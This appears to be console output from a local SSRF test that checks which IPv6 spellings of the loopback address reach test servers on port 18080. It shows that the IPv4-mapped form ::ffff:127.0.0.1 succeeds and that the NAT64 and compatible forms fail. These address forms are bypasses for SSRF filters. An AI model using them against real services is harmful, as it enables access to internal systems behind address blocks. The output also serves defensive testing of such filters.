Victim servers up on 127.0.0.1:18080 and [::1]:18080 Marker: SSRF_LOOPBACK_HIT_1783015814782 CANDIDATE URL FETCH-RESULT ------------------------------------------------------------------------------------------------------------------------ ::ffff:127.0.0.1 (orig, mapped) http://[::ffff:127.0.0.1]:18080/ HTTP 200 body="SSRF_LOOPBACK_HIT_1783015814782|v4-loopback|127.0.0.1" ::ffff:0:127.0.0.1 (translated) http://[::ffff:0:127.0.0.1]:18080/ FAIL: connect ENETUNREACH ::ffff:0:7f00:1:18080 - Local (:::0) ::127.0.0.1 (compatible) http://[::127.0.0.1]:18080/ FAIL: connect ENETUNREACH ::7f00:1:18080 - Local (:::0) ::7f00:1 (hex compatible) http://[::7f00:1]:18080/ FAIL: connect ENETUNREACH ::7f00:1:18080 - Local (:::0) 64:ff9b::127.0.0.1 (NAT64) http://[64:ff9b::127.0.0.1]:18080/ FAIL: connect ENETUNREACH 64:ff9b::7f00:1:18080 - Local (:::0) ::1 (v6 loopback ctrl) http://[::1]:18080/ HTTP 200 body="SSRF_LOOPBACK_HIT_1783015814782|v6-loopback|::1" 127.0.0.1 (v4 ctrl) http://127.0.0.1:18080/ HTTP 200 body="SSRF_LOOPBACK_HIT_1783015814782|v4-loopback|127.0.0.1" === Victim server hit log (proves TCP reached loopback) === {"label":"v4-loopback","host":"127.0.0.1","remote":"127.0.0.1","path":"/"} {"label":"v6-loopback","host":"::1","remote":"::1","path":"/"} {"label":"v4-loopback","host":"127.0.0.1","remote":"127.0.0.1","path":"/"}